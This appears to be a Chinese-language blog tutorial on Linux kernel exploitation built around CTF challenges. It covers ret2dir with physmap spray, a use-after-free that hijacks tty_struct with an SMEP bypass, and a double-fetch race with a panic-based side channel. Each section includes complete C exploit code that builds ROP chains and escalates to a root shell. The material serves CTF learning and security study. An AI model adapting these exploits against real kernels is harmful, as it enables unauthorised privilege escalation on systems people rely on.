但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用

image.png

基本上布置 shellcode 的方法已经很难直接完成利用了,毕竟这是一篇14年的古老论文,稍微新一点的内核的 direct mapping area 都不再具有可执行权限…

比较朴素的一种使用 ret2dir 进行攻击的手法便是:

  • 利用 mmap 在用户空间大量喷射内存

  • 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区

  • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到我们在用户空间喷射的内存

此时我们就获得了一个映射到用户空间的内核空间地址,我们通过这个内核空间地址便能直接访问到用户空间的数据,从而避开了传统的隔绝用户空间与内核空间的防护手段

需要注意的是我们往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray

还是建议大家把论文原文看一遍23333

例题:MINI-LCTF2022 - kgadget

笔者在校内赛出的一道题目,算是一道 ret2dir 的例题,因为网上实在是没有这一块的题目…

点击下载-kgadget.tar.xz

① 分析

还是惯例的给了个有漏洞的驱动,逆起来其实并不难,唯一有用的就是 ioctl,若 ioctl 的第二个参数为 114514 则会将第三个参数作为指针进行解引用,取其所指地址上值作为函数指针进行执行(这里编译器将其优化为 __x86_indirect_thunk_rbx() ,其实本质上就是 call rbx

image.png

在启动脚本中开启了 smep 与 smap 保护,所以我们不能够直接在用户空间构造 rop 然后 ret2usr,但是由于没有开启 kaslr,所以我们也不需要泄露内核基址

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot

② 漏洞利用:ret2dir + physmap spray

因为我们没法直接在内核空间直接找到一个这样的目标(内核空间中虽然存在能够这样进行调用的函数指针,例如 tty 设备默认的函数表ptm_unix98_ops 一类的,但是这些函数表对应的函数指针对我们来说没有用),所以我们需要手动去在内核空间布置我们的函数指针与 rop chain,之后我们传入我们布置的 gadget 的地址就能进行利用了

那么我们如何在内核空间布置我们的恶意数据呢?可能有的人就会想到 msg_msgsk_buff 等一系列常用来进行堆喷的结构体,但其实我们并不需要显式地在内核空间布置数据,而是可以通过一个位于内核空间中的地址直接访问到用户空间中的数据——那就是映射了整个物理内存的 direct mapping area

我们不难想到的是,我们为用户空间所分配的每一张内存页,在内核空间中都能通过这块内存区域访问到,因此我们只需要在用户空间布置恶意数据,之后再在内核空间的这块区域中找到我们的用户空间数据对应的内核空间地址即可,这便是 ret2dir ——通过内核空间地址访问到用户空间数据

当然,使用 msg_msg 或者 sk_buff 在内核空间中布置恶意数据也可以,不过在笔者看来对这题而言是多此一举…

那么现在又出现一个新的问题,我们如何得知我们布置的恶意数据在内核空间中的对应地址呢?我们无法进行内核空间中的内存搜索,因此也就无法直接得知我们布置的恶意数据在内核空间中的地址

答案是不需要搜索,这里我们使用原论文中的一种名为 physmap spray 的攻击手法——使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个 direct mapping area 上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上

经笔者实测当我们喷射的内存页数量达到一定数量级时我们总能准确地在 direct mapping area 靠中后部的区域命中我们的恶意数据

最后就是 gadget 的挑选与 rop chain 的构造了,我们不难想到的是可以通过形如 add rsp, val ; ret 的 gadget 跳转到内核栈上的 pt_regs 上,在上面布置提权的 rop chain,但在本题当中 pt_regs 只有 r9 与 r8 两个寄存器可用,笔者提前对内核栈进行了清理——

image.png

编译器优化成了 qmemcpy,其实笔者源码里是逐个寄存器赋值的

但其实仅有两个寄存器也够用了,我们可以利用 pop_rsp ; ret 的 gadget 进行栈迁移,将栈迁移到我们在用户空间所布置的恶意数据上,随后我们直接在恶意数据靠后的位置布置提权降落回用户态的 rop chain 即可

由于 buddy system 以页为单位进行内存分配,所以笔者也以页为单位进行 physmap spray,以求能消耗更多的物理内存,提高命中率,这里笔者懒得去计算偏移了,所以在每张内存页上布置的都是“三段式”的 rop chain,将我们跳转到 pt_regs 的 gadget 同时用作 slide code——

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
------------------------
add rsp, val ; ret
add rsp, val ; ret
add rsp, val ; ret
add rsp, val ; ret
...
add rsp, val ; ret # 该gadget必定会命中下一个区域中的一条ret,之后便能平缓地“滑”到常规的提权 rop 上
------------------------
ret
ret
...
ret
------------------------
common root ROP chain
------------------------

③ final exploit

最后的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t pop_rax_ret = 0xffffffff810115d4;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
size_t add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;

void (*kgadget_ptr)(void);
size_t *physmap_spray_arr[16000];
size_t page_size;
size_t try_hit;
int dev_fd;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

void constructROPChain(size_t *rop)
{
int idx = 0;

// gadget to trigger pt_regs and for slide
for (; idx < (page_size / 8 - 0x30); idx++)
rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;

// more normal slide code
for (; idx < (page_size / 8 - 0x10); idx++)
rop[idx] = ret;

// rop chain
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = (size_t) getRootShell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}

int main(int argc, char **argv, char **envp)
{
saveStatus();

dev_fd = open("/dev/kgadget", O_RDWR);
if (dev_fd < 0)
errExit("dev fd!");

page_size = sysconf(_SC_PAGESIZE);

// construct per-page rop chain
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
constructROPChain(physmap_spray_arr[0]);

// spray physmap, so that we can easily hit one of them
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++)
{
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!physmap_spray_arr[i])
errExit("oom for physmap spray!");
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}

puts("[*] trigger physmap one_gadget...");
//sleep(5);

try_hit = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;" // stack migration again
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);
}

运行即可稳定提权

image.png

0x04.Kernel Heap - Use After Free

UAF 即 Use After Free,通常指的是对于释放后未重置的垂悬指针的利用,此前在用户态下的 heap 阶段对于 ptmalloc 的利用很多都是基于UAF漏洞进行进一步的利用

在 CTF 当中,内核的“堆内存”主要指的是线性映射区(direct mapping area),常用的分配函数 kmalloc 从此处分配内存,常用的分配器为 slub,若是在 kernel 中存在着垂悬指针,我们同样可以以此完成对 slab/slub 内存分配器的利用,通过 Kernel UAF 完成提权

slub 分配器的结构笔者在 kernel pwn 入门笔记 - I 中已经进行简要叙述,若是不记得了可以回去看看(笑)

Pre. 内核堆利用与绑核

slub allocator 会优先从当前核心的 kmem_cache_cpu 中进行内存分配,在多核架构下存在多个 kmem_cache_cpu ,由于进程调度算法会保持核心间的负载均衡,因此我们的 exp 进程可能会被在不同的核心上运行,这也就导致了利用过程中 kernel object 的分配有可能会来自不同的 kmem_cache_cpu ,这使得利用模型变得复杂,也降低了漏洞利用的成功率

比如说你在 core 0 上整了个 double free,准备下一步利用时 exp 跑到 core 1去了,那就很容易让人摸不着头脑 :(

因此为了保证漏洞利用的稳定,我们需要将我们的进程绑定到特定的某个 CPU 核心上,这样 slub allocator 的模型对我们而言便简化成了 kmem_cache_node + kmem_cache_cpu ,我们也能更加方便地进行漏洞利用

现笔者给出如下将 exp 进程绑定至指定核心的模板:

1
2
3
4
5
6
7
8
9
10
11
#include <sched.h>

/* to run the exp on the specific core only */
void bind_cpu(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

Pre2. 通用 kmalloc flag

GFP_KERNELGFP_KERNEL_ACCOUNT 是内核中最为常见与通用的分配 flag,常规情况下他们的分配都来自同一个 kmem_cache ——即通用的 kmalloc-xx

这两种 flag 的区别主要在于 GFP_KERNEL_ACCOUNTGFP_KERNEL 多了一个属性——表示该对象与来自用户空间的数据相关联,因此我们可以看到诸如 msg_msgpipe_buffersk_buff的数据包 的分配使用的都是 GFP_KERNEL_ACCOUNT ,而 ldt_structpacket_socket 等与用户空间数据没有直接关联的结构体则使用 GFP_KERNEL

在5.9 版本之前GFP_KERNELGFP_KERNEL_ACCOUNT 存在隔离机制,在 这个 commit 中取消了隔离机制,自内核版本 5.14 起,在 这个 commit 当中又重新引入:

  • 对于开启了 CONFIG_MEMCG_KMEM 编译选项的 kernel 而言(通常都是默认开启),其会为使用 GFP_KERNEL_ACCOUNT 进行分配的通用对象创建一组独立的 kmem_cache ——名为 kmalloc-cg-* ,从而导致使用这两种 flag 的 object 之间的隔离:

image.png

Pre3. slub 合并 & 隔离

slab alias 机制是一种对同等/相近大小 object 的 kmem_cache 进行复用的一种机制:

  • 当一个 kmem_cache 在创建时,若已经存在能分配相等/近似大小的 object 的 kmem_cache ,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个 alias,作为“新的” kmem_cache 返回

举个🌰,cred_jar 是专门用以分配 cred 结构体的 kmem_cache,在 Linux 4.4 之前的版本中,其为 kmalloc-192 的 alias,即 cred 结构体与其他的 192 大小的 object 都会从同一个 kmem_cache——kmalloc-192 中分配

对于初始化时设置了 SLAB_ACCOUNT 这一 flag 的 kmem_cache 而言,则会新建一个新的 kmem_cache 而非为原有的建立 alias,🌰如在新版的内核当中 cred_jarkmalloc-192 便是两个独立的 kmem_cache彼此之间互不干扰

例题:CISCN - 2017 - babydriver

可以说是最最最最最最最经典(典中典中典中典中典)的 kernel pwn 入门题

点击下载-babydriver.tar.gz

解压,惯例的磁盘镜像 + 内核镜像 + 启动脚本结构

查看boot.sh写的好乱啊

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd core.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 128M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep -s
  • 开启了SMEP保护

解压磁盘镜像看看有没有什么可以利用的东西

1
2
3
4
$ mkdir core
$ cp ./core.cpio ./core
$ cd core
$ cpio -idv < ./core.cpio

查看其启动脚本init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

其中加载了一个叫做babydriver.ko的驱动,按照惯例这个就是有着漏洞的驱动

① 逆向分析

惯例的checksec,发现其只开了NX保护,整挺好

image.png

拖入IDA进行分析

在驱动被加载时会初始化一个设备节点文件/dev/babydev

image.png

在我们使用open()打开设备文件时该驱动会分配一个chunk,该chunk的指针储存于全局变量babydev_struct

image.png

使用ioctl进行通信则可以重新申请内存,改变该chunk的大小

image.png

在关闭设备文件时会释放该chunk,但是并未将指针置NULL,存在UAF漏洞

image.png

read和write就是简单的读写该chunk,便不贴图了

② 漏洞点

若是我们的程序打开两次设备babydev,由于其chunk储存在全局变量中,那么我们将会获得指向同一个 chunk的两个指针

而在关闭设备后该 chunk 虽然被释放,但是指针未置0,那么我们便可以通过另一个文件描述符操作该 chunk,即存在 Use After Free 漏洞

③ 漏洞利用:Kernel UAF + stack migitation + SMEP bypass + ret2usr

内核符号表可读(白给),我们能够很方便地获得相应内核函数的地址

image.png

没有开启 kaslr,所以可以直接从 vmlinux 中提取gadget地址,这里 ROPgadget 和 ropper 半斤八两,建议两个配合着一起用

由于开启了 SMEP 保护,无法直接 ret2usr,故我们需要改变 cr4 寄存器的值以 bypass smep

观察到在内核中有着如下的 gadget 可以很方便地改变 cr4 寄存器的值:

image.png

接下来考虑如何通过 UAF 劫持程序执行流,这里我们选择 tty_struct 结构体作为 victim object

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations

那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx 这个设备的 tty_struct 结构体与其内部的 tty_operations 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针

由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体

结构体tty_struct位于include/linux/tty.h中,tty_operations位于include/linux/tty_driver.h

内核中没有类似one_gadget一类的东西,因此为了完成ROP我们还需要进行一次栈迁移

使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:

image.png

我们不难观察到,在我们调用tty_operations->write时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的gadget,便能够成功地将栈迁移到tty_operations结构体的开头

使用ROPgadget查找相关gadget,发现有两条符合我们要求的gadget:

image.png

gdb调试,发现第一条gadget其实等价于mov rsp, rax ; dec ebx ; ret

image.png

那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链

tty_operations结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可

image.png

需要注意的是计算相应结构体大小时应当选取与题目相同版本的内核源码

④ final exploit

最终的exploit应当如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;

size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;

fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);

write(fd3, buf, 0x8);

return 0;
}

本地打包,运行,成功提权到root

image.png

这道题在当年的解法据悉是通过 UAF 修改该进程的 cred 结构体的 uid、gid 为0,十分简单十分白给

但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并

来着内核源码 4.5 kernel/cred.c

1
2
3
4
5
6
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

本题(4.4.72):

1
2
3
4
5
6
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}

既然现在新的保护机制都出来了,那笔者认为在学习 kernel UAF 的过程中忽视掉这一点便是自欺欺人(而且这个解法太弱智了,完全没有学的意义 - - ),故这里便不再考虑以前旧的做法,感兴趣的参考如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0xa8);
close(fd1);

int pid = fork();

if(pid < 0)
{
printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n");
return -1;
}
else if(pid == 0) // the child thread
{
char buf[30] = {0};
write(fd2, buf, 28);

if(getuid() == 0)
{
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
return 0;
}
else
{
printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n");
return -1;
}
}
else // the parent thread
{
wait(NULL);//waiting for the child
}

return 0;
}

0x05.条件竞争(Race condition)

通常情况下在用户态下的 pwn 当中我们只有一个独立运行的主线程,并不存在所谓条件竞争的情况,但在 kernel pwn 当中由攻击者负责编写用户态程序,可以很轻易地启动多个线程同时运行,从而轻易地产生条件竞争

不过近年来随着 glibc heap pwn 的套路逐渐挖掘殆尽,用户态下的 pwn 题也开始逐渐脱离 glibc 本身的利用而向多个其他方向发展,其中一个热门方向便是用户态下多线程造成条件竞争

还有一个逐渐热门的方向便是 musl C 堆利用

double fetch

double fetch 直译就是 取值两次,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值,可能出现在下面这种情况当中:

  • 有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针
  • 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据

例如:内核第一次先获取数据进行合法性验证,第二次再获取数据进行使用(如下图所示)

不难看出,若是整个操作流程过长,则用户进程便有机会修改这一块数据,使得内核在两次访问这块空间时所获得的数据不一致,从而使得内核进入不同的执行流程,用户进程甚至可以直接开新的线程进行竞争来实现这个效果

通过在 first fetch 与 second fetch 之间的空挡修改数据从而改变内核执行流的利用手法便被称之为double fetch

例题:0CTF2018 Final - baby kernel

① 分析

首先查看启动脚本,基本没开额外的保护

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

解压文件系统,发现可疑驱动文件 baby.ko,惯例地 checksec,只开了 NX

image.png

拖入 IDA 进行分析,只简单地定义了一个 ioctl

image.png

其中参数 0x6666 可以获得 flag 在内核中的地址,参数 0x1337 则会将我们传入的 flag 与真正的 flag 进行对比,若正确则会将 flag 打印出来

测试一下,dmesg 权限开了,整挺好

image.png

简单分析可知我们应当传入如下结构体:

1
2
3
4
5
struct flag
{
char * flag_addr;
int flag_len;
};

其中 flag_len 参数与 flag 的长度对比,在 .ko 文件中 flag 的长度为 33

0x1337 功能当中还会通过 _chk_range_not_ok() 函数检查我们传入的地址范围是否合法:

image.png

add 指令会影响 CF(产生进位/借位)和 OF(两数最高位相同,结果最高位改变)标志位,v3获得的就是两数相加的 CF 位,这里一般为0(除非你传入 0xffffffffffffffff 附近的数),所以我们直接看另一个判断:a3 是否小于 v4

a3 为 current_task 的地址加上 0x1358 处所存地址,大概是 task_struct->thread->fpu->state 这个联合体内的某个位置上存的一个值,而 v4 则是我们传入的 flag 最后一个字节的地址,即我们传入的 flag 的地址不能够大于这个值

切 root 调一下我们可以发现这个值为 0x7ffffffff000

image.png

这个位置刚好是用户地址空间的栈底,即我们传入的 flag 的地址不能为用户地址空间外的地址

image.png

② 利用

虽然 flag 存储的地址已知,但是位于内核地址空间当中,我们将之直接传给模块并不能通过验证,那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址,开另一个线程进行竞争不断修改其为内核空间 flag 的地址,只要有一次命中我们便能获得 flag

③ final exploit

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

pthread_t compete_thread;
void * real_addr;
char buf[0x20] = "arttnba3";
int competetion_times = 0x1000, status = 1;
struct
{
char * flag_addr;
int flag_len;
}flag = {.flag_addr = buf, .flag_len = 33};

void * competetionThread(void)
{
while (status)
{
for (int i = 0; i < competetion_times; i++)
flag.flag_addr = real_addr;
}
}

int main(int argc, char ** argv, char ** envp)
{
int fd, result_fd, addr_fd;
char * temp, *flag_addr_addr;

fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x6666);
system("dmesg | grep flag > addr.txt");
temp = (char*) malloc(0x1000);
addr_fd = open("./addr.txt", O_RDONLY);
temp[read(addr_fd, temp, 0x100)] = '\0';
flag_addr_addr = strstr(temp, "Your flag is at ") + strlen("Your flag is at ");
real_addr = strtoull(flag_addr_addr, flag_addr_addr + 16, 16);
printf("[+] flag addr: %llx", real_addr);

pthread_create(&compete_thread, NULL, competetionThread, NULL);
while (status)
{ for(int i = 0; i < competetion_times; i++)
{
flag.flag_addr = buf;
ioctl(fd, 0x1337, &flag);
}
system("dmesg | grep flag > result.txt");
result_fd = open("./result.txt", O_RDONLY);
read(result_fd, temp, 0x1000);
if (strstr(temp, "flag{"))
status = 0;
}
pthread_cancel(compete_thread);

printf("[+] competetion end!");
system("dmesg | grep flag");

return 0;
}

运行即得 flag

image.png

笔者原本想用 fscanf 读入 flag 地址,但是不明原因一直不能成功,然后又换了 sscanf 也不能成功…最后只好换了 strtoull …

extra:测信道攻击

在进行比对时并没有检验 flag 地址的合法性,考虑如下内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
| | <---- unallocated page
| |
| |
|------------------------------|
| |
| |
| |
| | <---- page alloc by mmap
| |
| |
| flag{...X|
|------------------------------|
| |
| |
| | <---- unallocated page
*/

我们将 flag 放在通过 mmap 分配而来的内存页的末尾,其最后一个字符 X 是我们将要爆破的未知字符

对于待比对字符 X 而言,若是比对失败则 ioctl 会直接返回,若是比对成功则指针移动到下一张内存页中进行解引用,此时将会直接造成 kernel panic

由于 flag 被硬编码在 .ko 文件中,故通过是否造成 kernel panic 可以逐字符爆破 flag 内容

ASCII 可见字符 95 个,flag 长度 33,开头 flag{ 末尾 } 减去6个字符,最多只需要爆破 26 * 95 = 2470 次便能够获得 flag

比较需要耐心(因为打远程传文件很麻烦),这里附上一个比较方便的 exp,不用每次打都重新编译一次,只需要将 flag 作为参数传进去就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include<sys/mman.h>
#include<sys/types.h>

struct
{
char * flag_addr;
int flag_len;
}flag = { .flag_len = 33};

int main(int argc, char ** argv, char ** envp)
{
int fd, flag_len;
char * buf, *flag_addr;

if (argc < 2)
{
puts("usage: ./exp flag");
exit(-1);
}
flag_len = strlen(argv[1]);

fd = open("/dev/baby", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
flag_addr = buf + 0x1000 - flag_len;
memcpy(flag_addr, argv[1], flag_len);
flag.flag_addr = flag_addr;
ioctl(fd, 0x1337, &flag);

return 0;
}

比如说这里的测试 flag 是 flag{THIS_IS_A_FLAG_1234},如下图所示,我们成功通过 kernel panic 得知 flag 的第一个字符为 T

当然,若是能够优化成纯汇编代码,可执行文件的体积将能够再缩小一个档次,大大降低爆破次数,笔者比较懒,这里便不再给出优化后的汇编代码

当然,不到万不得已基本上不会用这种累死人的方法

userfaultfd(may obsolete)

userfaultfd 与条件竞争

